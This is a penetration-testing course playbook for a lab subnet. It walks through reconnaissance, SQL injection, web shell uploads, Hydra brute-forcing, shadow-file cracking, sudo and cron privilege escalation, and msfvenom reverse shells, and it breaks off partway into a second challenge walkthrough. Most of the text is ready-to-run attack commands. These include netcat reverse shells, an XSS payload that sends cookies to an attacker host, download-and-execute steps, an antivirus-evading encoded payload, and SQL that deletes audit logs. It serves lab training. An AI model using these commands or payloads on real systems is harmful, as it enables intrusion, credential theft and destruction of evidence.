SCC.442 Comprehensive Individual Penetration Testing Playbook

Lab-Integrated Edition with Complete Command Reference

Target Network: 192.168.25.0/24
Attacker Machine (Kali): 192.168.25.100
Challenge Targets: 192.168.25.110, 192.168.25.120, 192.168.25.130, 192.168.25.140, 192.168.25.150, 192.168.25.160
Assessment Goal: Capture `proof.txt` from each machine
Cyber Kill Chain Focus: Reconnaissance → Weaponization → Delivery → Exploitation → Installation → Command & Control → Actions on Objectives

---

TABLE OF CONTENTS – Quick Navigation

- SECTION 1: Core Strategy & Universal Pipeline
- SECTION 2: Reconnaissance & Scanning (Kill Chain Step 1)
- SECTION 3: Enumeration (Kill Chain Step 1-2)
- SECTION 4: Web Reconnaissance & Scanning (Kill Chain Step 1-2)
- SECTION 5: Exploitation Techniques (Kill Chain Step 3-4)
- SECTION 6: Password Guessing & Cracking (Kill Chain Step 4)
- SECTION 7: Privilege Escalation (Kill Chain Step 5)
- SECTION 8: Reverse Shells & Backdoors (Kill Chain Step 5-6)
- SECTION 9: Challenge Pattern Walkthroughs
- SECTION 10: On-Demand Command Generation
- SECTION 11: Troubleshooting & Recovery
- SECTION 12: Quick Reference & Aliases

SECTION 1: CORE STRATEGY & UNIVERSAL PIPELINE

1.1 Golden Rules (NEVER Break These)

```
1. DO NOT scan 192.168.25.100 (that's your Kali)
2. Challenge IPs are multiples of 10: .110, .120, .130, .140, .150, .160
3. Keep screenshots of EVERY step (proof for report)
4. Document output from EVERY command (for analysis)
5. Work METHODICALLY through Cyber Kill Chain
6. If stuck on one machine, pivot to next → return later
7. Flag location: usually /root/proof.txt or C:\Users\Admin\proof.txt
```

1.2 Universal Attack Pipeline (Apply to EVERY Target)

Phase 1: RECONNAISSANCE (Gather Intelligence)

```
# Step 1: Single host discovery scan across subnet
nmap -sn -T5 -v -n 192.168.25.0/24 | grep "Nmap scan report"

# Step 2: Detailed port + service + version scan (THE MOST IMPORTANT)
nmap -sC -sV 192.168.25.1XX
# Flags explained:
#   -sC: Run default scripts (service detection, vulnerability hints)
#   -sV: Probe ports for service versions
#   -Pn: Skip ping (forces scan even if host seems down)

# Step 3: OS fingerprinting (if services unclear)
sudo nmap -Pn -O 192.168.25.1XX

# Step 4: Full port scan (slow but thorough)
nmap -p- -sC -sV -T4 192.168.25.1XX
```

OUTPUT INTERPRETATION:

- 21/tcp ftp → Try anonymous login, look for credentials
- 22/tcp ssh → Use found credentials or Hydra
- 80/tcp http → Web app, check for SQLi/XSS/RCE

- 3389/tcp rdp → Windows, use Hydra or found credentials
- 137-139/tcp netbios → SMB shares, enumerate users
- Custom ports (>5000) → Often backdoors, reverse shells, or custom services

Phase 2: ENUMERATION (Deep Service Discovery)

For FTP (Port 21)

```
 # Anonymous login (most common on labs)
ftp -a 192.168.25.1XX
# Inside FTP prompt, try:
ls -la
get filename.txt
put malicious.txt  # If writable
binary  # Set mode to binary for exe files
mget *.txt  # Get multiple files
bye
```

For SSH (Port 22)

```
 # If you have credentials already
ssh username@192.168.25.1XX
ssh -i keyfile username@192.168.25.1XX

# If suspicious key, check it
ssh-keyscan 192.168.25.1XX 2>/dev/null | grep -i ssh-rsa

# Test connection without interactive login
ssh -o PasswordAuthentication=no username@192.168.25.1XX 2>&1 | head -1
```

For HTTP (Port 80/8080/3000) – See SECTION 4

```
 # See Web Reconnaissance section below
firefox http://192.168.25.1XX
nikto -host http://192.168.25.1XX
gobuster dir -u http://192.168.25.1XX -w /usr/share/wordlists/dirb/common.txt
```

For SMB (Port 137-139, 445)

```
 # List shares
smbclient -L 192.168.25.1XX -U "" -N  # Anonymous
smbclient -L 192.168.25.1XX -U user%pass

# Connect to share
smbclient \\\\192.168.25.1XX\\sharename -U user%pass
# Inside: ls, get file, put file, bye

# Enumerate users via Metasploit
msfconsole
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.25.1XX
run

use auxiliary/scanner/smb/smb_enumusers
set RHOSTS 192.168.25.1XX
run
```

For RDP (Port 3389)

```
# Check if RDP is available
nmap -p 3389 192.168.25.1XX

# Test credentials (before trying RDP)
hydra -t 1 -f -C pwned-colon.txt rdp://192.168.25.1XX

# RDP login (once credentials found)
xfreerdp3 /u:USERNAME /p:PASSWORD /v:192.168.25.1XX
xfreerdp3 /u:DOMAIN\\USERNAME /p:PASSWORD /v:192.168.25.1XX
```

SECTION 2: RECONNAISSANCE & SCANNING (KILL CHAIN STEP 1)

2.1 Nmap Deep Dive (From Lab Manual)

Basic Scans

```
# Ping sweep (discover hosts)
nmap -sn -T5 -v -n 192.168.25.0/24

# TCP connect scan (full connection)
nmap -sT -v -n 192.168.25.1XX

# SYN stealth scan (default)
nmap -sS -v -n 192.168.25.1XX

# UDP scan (for specific protocols)
nmap -sU -v 192.168.25.1XX
nmap -sU -p 53,123,137 -v 192.168.25.1XX

# Fast scan (top 1000 ports only)
nmap -F 192.168.25.1XX

# All ports
nmap -p- 192.168.25.1XX

# Specific port range
nmap -p 1-1024,3306,5432,8080 192.168.25.1XX

# Version detection
nmap -sV 192.168.25.1XX

# Default scripts (vulnerability probes)
nmap -sC 192.168.25.1XX

# Aggressive scan (OS + version + scripts + traceroute)
nmap -A 192.168.25.1XX

# Combined: Recommended for labs
nmap -sC -sV -O 192.168.25.1XX
```

Advanced Nmap Techniques

```
# OS detection (requires -O, slower)
sudo nmap -O 192.168.25.1XX

# Service version with intensity
nmap -sV --version-intensity 9 192.168.25.1XX

# Custom script targeting specific service
nmap --script smb-enum-shares.nse -p 445 192.168.25.1XX
nmap --script http-enum -p 80 192.168.25.1XX
nmap --script ftp-anon -p 21 192.168.25.1XX

# Exclude hosts (skip your Kali)
nmap -sn 192.168.25.0/24 --exclude 192.168.25.100

# Save output in multiple formats
nmap -sC -sV -O 192.168.25.1XX -oA scan_results
# Creates: scan_results.nmap, scan_results.xml, scan_results.gnmap
```

Timing Templates (T1-T5)

```
# T1: Paranoid (very slow, evades IDS)
nmap -T1 192.168.25.1XX

# T3: Normal (default, balanced)
nmap -T3 192.168.25.1XX

# T5: Insane (very fast, may lose accuracy)
nmap -T5 192.168.25.1XX

# Lab best practice:
nmap -sC -sV -T4 192.168.25.1XX  # T4 is good balance
```

2.2 Manual Service Verification

```
# Netcat: Raw connection to port
nc -nv 192.168.25.1XX 80
# Type: GET / HTTP/1.1
# Type: Host: 192.168.25.1XX
# Type: <blank line>

# Banner grabbing
echo "" | nc -nv 192.168.25.1XX 22
echo "" | nc -nv 192.168.25.1XX 21

# HTTPS fingerprint
openssl s_client -connect 192.168.25.1XX:443
```

SECTION 3: ENUMERATION (KILL CHAIN STEP 1-2)

3.1 OS & Service Detection (From Lab 5)

Linux vs Windows Indicators

```
LINUX INDICATORS:
- OpenSSH (port 22)
- Apache/Nginx (port 80)
- vsftpd / ProFTPD (port 21)
- Samba (port 445, 139, 137)
- MySQL / PostgreSQL (port 3306, 5432)

WINDOWS INDICATORS:
- RDP (port 3389)
- SMB / NetBIOS (port 135, 139, 445)
- IIS (port 80, 443)
- MSSQL (port 1433)
- WinRM (port 5985, 5986)
```

Nmap Service Enumeration Commands

```
# Service version probing
nmap -sV 192.168.25.1XX

# NetBIOS enumeration script
sudo nmap -sU --script nbstat.nse -p 137 192.168.25.1XX

# SMB enumeration (shares, users, domains)
nmap --script smb-enum-shares.nse 192.168.25.1XX
nmap --script smb-enum-users.nse 192.168.25.1XX
nmap --script smb-os-discovery.nse 192.168.25.1XX

# FTP anonymous detection
nmap --script ftp-anon -p 21 192.168.25.1XX

# HTTP service detection
nmap --script http-methods -p 80 192.168.25.1XX
```

3.2 SMB Enumeration (Metasploit Approach – From Lab Manual)

```
msfconsole

# Step 1: Check SMB version
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.25.1XX
run
# Output: OS, Workgroup, Forest, Domain

# Step 2: Enumerate users via RID brute-force
use auxiliary/scanner/smb/smb_lookupsid
set RHOSTS 192.168.25.1XX
exploit
# Extracts: S-1-5-21-... SIDs with usernames

# Step 3: Enumerate users directly
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS 192.168.25.1XX
exploit

# Step 4: List shares
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS 192.168.25.1XX
run

# Step 5: Test credentials against SMB
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.25.1XX
set USERNAME Administrator
set PASS_FILE /path/to/wordlist.txt
run
```

3.3 SNMP Enumeration (If Port 161 Found)

```
# Query SNMP
snmp-check 192.168.25.1XX
snmp-walk -c public -v 2c 192.168.25.1XX

# Metasploit SNMP enum
msfconsole
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 192.168.25.1XX
run
```

SECTION 4: WEB RECONNAISSANCE & SCANNING (KILL CHAIN STEP 1-2)

4.1 Web Scanning Tools (From Lab 6)

Nikto (Vulnerability Scanner)

```
# Basic web server scan
nikto -host http://192.168.25.1XX

# Scan specific port
nikto -host http://192.168.25.1XX:8080

# Follow redirects
nikto -host http://192.168.25.1XX -followredirects -nointeractive -ask no

# Output to file
nikto -host http://192.168.25.1XX -o nikto_results.txt
```

Common Nikto findings:

- Server banner disclosure
- Outdated software versions
- Directory listing enabled
- Default credentials
- Dangerous HTTP methods (PUT, DELETE)
- Known CVEs for detected software

Directory Brute-Forcing (Dirb, Gobuster)

```
# Dirb: Traditional directory scanner
dirb http://192.168.25.1XX /usr/share/dirb/wordlists/common.txt -X .html,.php

# Gobuster: Faster alternative
gobuster dir -u http://192.168.25.1XX -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

# Recursive directory discovery (be careful – time-consuming)
dirb http://192.168.25.1XX -r  # -r = recursive

# Large wordlist for thoroughness
gobuster dir -u http://192.168.25.1XX \
  -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt \
  -x php,html,txt,aspx,jsp

# Exclude status codes (ignore 403 Forbidden, 404 Not Found)
gobuster dir -u http://192.168.25.1XX -w /path/to/wordlist.txt -b 403,404
```

Manual Web Inspection

```
# Firefox: Open browser and navigate
firefox http://192.168.25.1XX

# Check page source (Ctrl+U in Firefox)
# Look for:
# - HTML comments with hints
# - Script sources (vulnerable versions)
# - Hidden form fields
# - Cookies / Session tokens

# View robots.txt
curl http://192.168.25.1XX/robots.txt

# Check for .git exposure
wget http://192.168.25.1XX/.git/config

# Check for backup files
curl http://192.168.25.1XX/backup.sql
curl http://192.168.25.1XX/index.php.bak
```

4.2 Web Vulnerability Testing

SQL Injection Testing (From Lab 20)

```
 # Basic SQLi detection
# Try in form inputs: ' OR 1=1 --

# Boolean-based blind SQLi
' OR 1=1 --
' OR '1'='1

# Time-based blind SQLi
' OR SLEEP(5) --    # MySQL/MariaDB
' OR WAITFOR DELAY '00:00:05' --  # MSSQL

# UNION-based SQLi (most reliable)
# Step 1: Determine column count
' UNION SELECT null --
' UNION SELECT null, null --
' UNION SELECT null, null, null --

# Step 2: Identify data types
' UNION SELECT 'a', 'b', 'c' --
' UNION SELECT 1, 2, 3 --

# Step 3: Extract database info
' UNION SELECT database(), user(), version() --
' UNION SELECT @@version, @@datadir, @@basedir --

# Step 4: List tables
' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema=database() --
' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema='SCC442' --

# Step 5: List columns
' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users' --

# Step 6: Extract data
' UNION SELECT username, password FROM users --
' UNION SELECT email, pass FROM admin --

# Step 7: Escalate (if allowed)
' ; UPDATE users SET isadmin=1 WHERE username='student' --
' ; DELETE FROM audit_logs --
```

SQLMap (Automated SQLi)

```
# Basic SQLi detection (GET parameter)
sqlmap -u "http://192.168.25.1XX/search.php?name=test" --batch

# SQLi with POST form
sqlmap -u "http://192.168.25.1XX/login.php" \
  --data "username=test&password=test" \
  -p username --batch

# Cookie-based SQLi
sqlmap -u "http://192.168.25.1XX/page.php?id=1" \
  --cookie "SESSIONID=abc123" --batch

# Database enumeration
sqlmap -u "http://192.168.25.1XX/page.php?id=1" \
  --batch -D dvwa -T users --dump

# Specific table dump
sqlmap -u "http://192.168.25.1XX/page.php?id=1" \
  --batch -D database_name -T table_name --dump

# List databases
sqlmap -u "http://192.168.25.1XX/page.php?id=1" --batch --dbs

# Forcefully identify database type
sqlmap -u "http://192.168.25.1XX/page.php?id=1" --batch --identify-waf --dbs
```

XSS & Command Injection (From Lab 21 & 19)

```
# Stored XSS (payload in database)
# Try in form: <script>alert('XSS')</script>

# Reflected XSS (payload in URL)
# Try: http://192.168.25.1XX/search.php?q=<script>alert('XSS')</script>

# Command injection (try in forms that execute system commands)
# Linux:
; id
; whoami
; cat /etc/passwd
& ls -la /
| nc attacker_ip 4444 -e /bin/bash

# Windows:
& dir
& whoami
& systeminfo
| powershell -nop -w hidden -c "..."
```

CSRF & Session Attacks (From Lab 18 & 22)

```
# Check cookie flags
# In Firefox F12 → Storage → Cookies
# Look for: HttpOnly, Secure, SameSite flags

# Session hijacking via XSS
# Payload: <img src=http://attacker_ip:8000/?cookie=document.cookie>
# Start listener: python3 -m http.server 8000

# CSRF token bypass
# If token is predictable or missing: craft request
# Check: POST requests for CSRF tokens
```

SECTION 5: EXPLOITATION TECHNIQUES (KILL CHAIN STEP 3-4)

5.1 Exploitation Decision Matrix

```
 Service Found     | Strategy
================================================
21/FTP anon        | → Get creds from files → SSH/RDP
22/SSH             | → Use found creds OR Hydra
80-8080/HTTP       | → SQLi / XSS / RCE / File Upload
3389/RDP           | → Hydra password guess → RDP login
135-139/SMB        | → Enumerate shares → Potential RCE
445/SMB            | → SMB exploits (EternalBlue, etc.)
3306/MySQL         | → SQLi from web OR direct access
5432/PostgreSQL    | → Direct access with found creds
Custom ports       | → Reverse shell OR backdoor → connect
```

5.2 File Upload & Reverse Shell (From Lab 11 & 16)

Web Shell Upload

```
 # Create PHP reverse shell
cat > shell.php << 'EOF'
<?php
system($_GET['cmd']);
?>
EOF

# More sophisticated PHP shell
cat > shell.php << 'EOF'
<?php
$cmd = $_GET['cmd'];
$output = shell_exec($cmd);
echo "<pre>$output</pre>";
?>
EOF

# Upload via web form (if upload exists)
# Then access: http://192.168.25.1XX/uploads/shell.php?cmd=id

# Or test with curl
curl "http://192.168.25.1XX/uploads/shell.php?cmd=whoami"

# RCE via web shell
curl "http://192.168.25.1XX/uploads/shell.php?cmd=cat%20/etc/passwd"
curl "http://192.168.25.1XX/uploads/shell.php?cmd=nc%20192.168.25.100%204444%20-e%20/bin/bash"
```

Meterpreter Reverse Shell (See SECTION 8)

5.3 Default Credentials (Lab Common Scenarios)

```
 Software          | Default User     | Default Pass
============================================================
DVWA               | admin            | password
Juice Shop         | admin@juice.biz  | admin123
Tomcat             | admin            | admin
MySQL              | root             | (no password)
PostgreSQL         | postgres         | postgres
FTP                | (anonymous)      | (any)
SMB Guest          | guest            | (no password)
Windows RDP        | Administrator    | (varies)
```

SECTION 6: PASSWORD GUESSING & CRACKING (KILL CHAIN STEP 4)

6.1 Hydra: Brute-Force Attacks (From Lab 9)

SSH Brute-Forcing

```
 # Separate user/password files
hydra -V -L userlist.txt -P passlist.txt -t 4 ssh://192.168.25.1XX

# Single user, multiple passwords
hydra -V -l bob -P passlist.txt ssh://192.168.25.1XX

# Colon format file (user:password)
hydra -V -f -C pwned-colon.txt ssh://192.168.25.1XX

# Specific username with targeted wordlist
hydra -V -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.25.1XX

# Custom port
hydra -V -L userlist.txt -P passlist.txt ssh://192.168.25.1XX:2222

# Increased threads (for SSH, 4 is safe)
hydra -V -t 4 -L userlist.txt -P passlist.txt ssh://192.168.25.1XX

# With timeout
hydra -V -W 2 -L userlist.txt -P passlist.txt ssh://192.168.25.1XX
```

RDP Brute-Forcing

```
 # RDP is slower – use fewer threads
hydra -V -t 1 -L userlist.txt -P passlist.txt rdp://192.168.25.1XX

# RDP with colon file
hydra -V -f -C pwned-colon.txt -t 1 rdp://192.168.25.1XX

# Add wait time for slow services
hydra -V -f -C pwned-colon.txt -W 3 rdp://192.168.25.1XX
```

SMB Brute-Forcing

```
 # SMB shares
hydra -V -L userlist.txt -P passlist.txt smb://192.168.25.1XX

# SMB with specific username
hydra -V -l Administrator -P passlist.txt smb://192.168.25.1XX
```

FTP Brute-Forcing

```
# FTP password guessing
hydra -V -L userlist.txt -P passlist.txt ftp://192.168.25.1XX

# Single FTP user
hydra -V -l admin -P passlist.txt ftp://192.168.25.1XX
```

6.2 Wordlist Generation & Customization

```
# Create wordlist from hints
# Example: "password starts with Rex, pet is Quartz"
cat > passlist.txt << 'EOF'
RexQuartz
Rexquartz
rexquartz
RexDiamond
RexSapphire
EOF

# Use crunch for pattern generation
crunch 8 8 -t Rex@@@@@ > passlist.txt
# Creates: RexABCDE, RexABCDF, ...

# Use cewl to scrape website for wordlist
cewl http://192.168.25.1XX -w website_wordlist.txt

# Combine wordlists
cat wordlist1.txt wordlist2.txt > combined.txt

# Remove duplicates
sort -u combined.txt > unique_wordlist.txt

# Common wordlist locations
ls /usr/share/wordlists/
# rockyou.txt (if installed): 14M+ passwords
# dirb/common.txt: directory names
# dirbuster/directory-list-2.3-small.txt
```

6.3 John the Ripper: Hash Cracking (From Lab 10)

Linux Shadow File Cracking

```
# Step 1: Copy passwd and shadow from target
scp user@192.168.25.1XX:/etc/passwd .
scp user@192.168.25.1XX:/etc/shadow .

# Step 2: Combine with unshadow
unshadow passwd shadow > linuxpasswords

# Step 3: Identify hash format
john --show linuxpasswords  # Should show hashes

# Step 4: Crack with wordlist
john linuxpasswords --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt

# Step 5: View cracked passwords
john --show linuxpasswords
# Output: user:password:UID:GID:...

# Step 6: Use new credentials for SSH
ssh newuser@192.168.25.1XX
cat proof.txt
```

Windows SAM File Cracking

```
# From Windows target, dump SAM (requires SYSTEM privs)
# Or use meterpreter: hashdump

# Step 1: Copy hashes
# Format: user:RID:LMhash:NThash:::

# Step 2: Crack with John
john winhashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=NT

# Step 3: View results
john --show winhashes.txt
```

Alternative: Hashcat (GPU-accelerated)

```
# Identify hash type
hashcat --example-hashes | grep -i md5crypt

# Crack hash
hashcat -m 500 linuxpasswords /usr/share/wordlists/rockyou.txt

# Windows NT hashes
hashcat -m 1000 winhashes.txt /usr/share/wordlists/rockyou.txt

# Show results
hashcat -m 500 linuxpasswords /usr/share/wordlists/rockyou.txt --show
```

6.4 Metasploit Password Guessing (From Lab 9 & 10)

```
msfconsole

# SMB login brute-force
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.25.1XX
set USERNAME Administrator
set PASS_FILE /path/to/passlist.txt
run

# SSH brute-force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.25.1XX
set USERNAME_FILE userlist.txt
set PASS_FILE passlist.txt
run

# RDP brute-force (if available)
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS 192.168.25.1XX
run
```

SECTION 7: PRIVILEGE ESCALATION (KILL CHAIN STEP 5)

7.1 Linux Privilege Escalation (From Lab 12)

Quick Checks (Do These First)

```
# Check sudo permissions (MOST COMMON)
sudo -l
# Common vulnerabilities:
#   - NOPASSWD: /bin/bash  (instant root)
#   - NOPASSWD: /usr/bin/nano /etc/passwd  (edit as root)
#   - NOPASSWD: /usr/bin/sudoedit  (sudoedit exploit – see SECTION 8)

# Check current user and groups
id
groups

# Check sudo version (some versions vulnerable)
sudo --version
# CVE-2021-3493 (old sudo versions)
```

SUID Binaries (Common Privilege Escalation Vector)

```
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Check for unusual SUID binaries
# Common vulnerable:
# /usr/bin/sudo (if old)
# /usr/sbin/ping (sometimes misconfigured)
# /usr/bin/pkexec (Pwnkit – CVE-2021-4034)
# /usr/bin/passwd (usually safe)
# Custom /usr/local/bin/* (often vulnerable)

# Test unknown binary
strings /usr/local/bin/unknown_binary
ltrace /usr/local/bin/unknown_binary
strace /usr/local/bin/unknown_binary
```

World-Writable Files & Directories

```
# Find world-writable files
find / -perm -002 -type f 2>/dev/null

# Check cron jobs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/

# If cron.daily is world-writable:
echo 'cat /root/proof.txt > /tmp/flag.txt' >> /etc/cron.d/malicious
# Wait for cron to execute
cat /tmp/flag.txt
```

Kernel Exploits (CVE-Based)

```
# Check kernel version
uname -a
# Example output: Linux target 5.10.0-8-generic #1 SMP ... x86_64

# Search for known CVEs
# Common lab scenarios:
# - CVE-2022-0847 (dirtypipe) – Linux 5.16.11 <
# - CVE-2021-3493 (overlayfs) – Linux 5.11 <
# - CVE-2021-4034 (Pwnkit – pkexec) – many versions

# Download and compile exploit
# From: https://github.com/search CVE-XXXX-XXXXX
gcc -o exploit exploit.c
./exploit

# Check if successful
id
# Should show: uid=0(root)
```

Sudo Misconfiguration Exploits

```
# Sudoedit bypass (if sudoedit available in sudo -l)
# Vulnerability: SUDO_EDITOR environment variable abuse

SUDO_EDITOR='cat -- /root/proof.txt' sudoedit /etc/os-release
# Output: contents of /root/proof.txt printed to stdout

# Alternative sudoedit exploit
# If sudoedit /path/to/file available
SUDO_EDITOR='/bin/bash' sudoedit /root/proof.txt
# Opens /bin/bash in editor as root

# Sudo version check (old versions vulnerable)
sudo --version
# If < 1.8.14, potentially exploitable
```

7.2 Windows Privilege Escalation (From Lab 12)

Manual Checks

```
# Check current privilege level
whoami
whoami /priv

# List privileges (look for these dangerous ones)
# SeDebugPrivilege – can debug processes and memory
# SeImpersonatePrivilege – can impersonate tokens
# SeBackupPrivilege – can read any file
# SeRestorePrivilege – can write any file
# SeTakeOwnershipPrivilege – can change file ownership
# SeLoadDriverPrivilege – can load unsigned drivers

# If SeImpersonate present, might already be exploitable

# Check if running as SYSTEM or admin
net localgroup Administrators

# Check Windows version (for exploit research)
ver
systeminfo | findstr /B /C:"OS Version"
```

Local Exploit Suggester (Metasploit – Most Reliable)

```
 # (From Kali with meterpreter session)
background

use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# Output: List of applicable exploits ranked by usefulness
# Choose highest-ranked applicable exploit
```

Service Misconfiguration

```
 # Find unquoted service paths (Windows privilege escalation vector)
wmic service get name,pathname | findstr /V "System32"

# Example vulnerable service path:
# C:\Program Files\Vulnerable App\Service.exe
# Exploited by: C:\Program.exe (drop here as admin-executed binary)

# Check service permissions
icacls "C:\Program Files\Vulnerable App"
# If you can write → drop malicious exe

# List running services
wmic service list brief
Get-Service | Where-Object {$_.Status -eq 'Running'}

# Check service that runs as SYSTEM
# Try to stop/start: net stop service_name
```

Windows UAC Bypass (Advanced)

```
 # Check UAC status
reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System

# If UAC enabled, try bypass via:
# 1. MSI execution (trusted application)
# 2. COM hijacking
# 3. Scheduled task elevation

# Metasploit module (easier):
msfconsole
search uac bypass
use exploit/windows/escalate/...
set SESSION 1
exploit
```

SECTION 8: REVERSE SHELLS & BACKDOORS (KILL CHAIN STEP 5-6)

8.1 Meterpreter Payload Generation (From Lab 11 & Simulation)

Linux Reverse Shell

```
# Create Linux x64 reverse shell
msfvenom --payload linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=4444 \
  --arch x64 --platform linux --format elf -o reversetcp

# Create Linux x86 reverse shell (for older systems)
msfvenom --payload linux/x86/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=4444 \
  --arch x86 --platform linux --format elf -o reversetcp_x86

# Other Linux payload formats
msfvenom --payload linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=4444 \
  --format elf -o payload.elf

msfvenom --payload linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=4444 \
  --format elf-so -o payload.so  # Shared object

msfvenom --payload linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=4444 \
  --format raw -o payload.bin  # Raw binary
```

Windows Reverse Shell

```
# Create Windows x64 reverse shell EXE
msfvenom --payload windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=5555 \
  --arch x64 --platform windows --format exe -o reversetcp.exe

# Create Windows x86 reverse shell EXE
msfvenom --payload windows/x86/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=5555 \
  --arch x86 --platform windows --format exe -o reversetcp_x86.exe

# Obfuscated Windows payload (evade antivirus)
msfvenom --payload windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=5555 \
  --arch x64 --platform windows --format exe \
  -e x86/shikata_ga_nai -i 5 -o reversetcp_obf.exe

# PowerShell payload (staged)
msfvenom --payload windows/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=5555 \
  --format powershell -o payload.ps1
```

Alternative Payload Types (Non-Meterpreter)

```
# Simple /bin/bash reverse shell
msfvenom --payload cmd/unix/reverse_bash \
  LHOST=192.168.25.100 LPORT=4444 --format raw -o bash_shell

# Simple /bin/sh reverse shell
msfvenom --payload cmd/unix/reverse_sh \
  LHOST=192.168.25.100 LPORT=4444 --format raw -o sh_shell

# Windows cmd.exe reverse shell
msfvenom --payload cmd/windows/reverse_cmd \
  LHOST=192.168.25.100 LPORT=5555 --format exe -o cmd_shell.exe

# Python reverse shell
msfvenom --payload python/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=4444 --format raw -o payload.py
```

8.2 Payload Deployment Methods

Method 1: Direct File Transfer (SCP/Rsync)

```
# Transfer to target (Linux)
scp reversetcp user@192.168.25.1XX:/home/user/
ssh user@192.168.25.1XX chmod +x /home/user/reversetcp
ssh user@192.168.25.1XX /home/user/reversetcp

# Transfer to target (Windows via RDP)
# Copy via Windows RDP file sharing
# OR upload via web upload form

# Transfer to target (via FTP)
ftp -a 192.168.25.1XX
binary
put reversetcp
bye
ssh user@192.168.25.1XX chmod +x reversetcp && ./reversetcp
```

Method 2: HTTP Server Download

```
# On Kali: Start HTTP server
cd /path/to/payloads
python3 -m http.server 8000

# On Target: Download and execute
wget http://192.168.25.100:8000/reversetcp -O /tmp/payload
chmod +x /tmp/payload
/tmp/payload

# Windows (from cmd.exe):
powershell -Command "Invoke-WebRequest -Uri http://192.168.25.100:8000/reversetcp.exe -OutFile C:\Users\Public\Downloads\payload.exe
C:\Users\Public\Downloads\payload.exe
```

Method 3: Embedded in Exploit

```
# Some exploits deliver payload automatically
# Example: (use in metasploit) after privesc exploit

use exploit/linux/local/sudoedit_bypass_privesc
set SESSION 1
set LHOST 192.168.25.100
set LPORT 4444
run
# Payload delivered automatically
```

8.3 Meterpreter Listener Setup (From Simulation)

```
msfconsole

# For Linux targets
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.25.100
set LPORT 4444
run

# For Windows targets (different port to avoid conflict)
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.25.100
set LPORT 5555
run

# Keep listener running; execute payload on target
# You should see: [*] Meterpreter session opened
```

8.4 Meterpreter Session Management

```
# Inside meterpreter session
help  # View available commands

# Background session and return to msfconsole
background

# List all sessions
sessions -l

# Resume specific session
sessions -i 1

# Kill session
sessions -k 1

# Interact with multiple sessions
interact -l  # List
interact 1   # Resume session 1
```

8.5 Meterpreter Useful Commands

```
# System information
sysinfo
getuid
hostname
ps  # List processes

# File operations
ls
pwd
cd /path
upload /local/file /remote/path
download /remote/file /local/path

# Process manipulation
migrate PID  # Migrate to another process (persistence)
kill PID

# Network
ipconfig  # Windows
ifconfig  # Linux
netstat

# Shell spawning
shell  # Drop to system shell
exit   # Back to meterpreter
```

8.6 Post-Exploitation: Local Exploit Suggester (From Simulation)

```
# From meterpreter session, background it
background

# Use local exploit suggester
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# Output: Ranked list of applicable local exploits
# Example output:
# [*] 192.168.25.150 - Found 3 local exploits
# [*] exploit/linux/local/sudoedit_bypass_privesc [*] Successful

# Choose highest-ranked exploit
use exploit/linux/local/sudoedit_bypass_privesc
set SESSION 1
set LHOST 192.168.25.100
set LPORT 4444
exploit

# After successful privesc
getuid  # Should show uid=0(root) or NT AUTHORITY\SYSTEM

# Read flag
cat /root/proof.txt  # Linux
type C:\Users\Admin\proof.txt  # Windows
```

SECTION 9: CHALLENGE PATTERN WALKTHROUGHS

Pattern 1: FTP Anonymous → SSH Weak Pass → Standard PrivEsc

Machine Type: Linux

Expected nmap: 21/ftp(anon), 22/ssh, 80/http
Simulation Reference: Challenge 1 from simulation.txt

Walkthrough

```
 # Step 1: Recon
nmap -sC -sV 192.168.25.110

# Step 2: FTP enumeration
ftp -a 192.168.25.110
ls
get password-reminder.txt
bye
cat password-reminder.txt
# Output: "Password for Bob starts with Rex, hint: his pet name"

# Step 3: Web recon (optional, look for hints)
firefox http://192.168.25.110
# Check for mention of pet names, company info, etc.

# Step 4: Create wordlist
cat > passlist.txt << 'EOF'
RexQuartz
RexDiamond
RexPearl
RexSapphire
RexCitrine
EOF

# Step 5: Hydra SSH brute-force
echo "bob" > userlist.txt
hydra -V -L userlist.txt -P passlist.txt -t 2 ssh://192.168.25.110

# Step 6: SSH login
ssh bob@192.168.25.110
# Password: RexQuartz (or found password)

# Step 7: Read flag (if accessible)
cat proof.txt

# Step 8: If not readable, check sudo
sudo -l
# Output might show: User bob may run NOPASSWD: /usr/bin/cat /root/proof.txt
sudo /usr/bin/cat /root/proof.txt
```

Pattern 2: FTP User Access → SSH → Hash Cracking

Machine Type: Linux
Expected nmap: 21/ftp, 22/ssh, 80/http
Simulation Reference: Challenge 2 from simulation.txt

Walkthrough

```
# Step 1: Recon
nmap -sC -sV 192.168.25.120

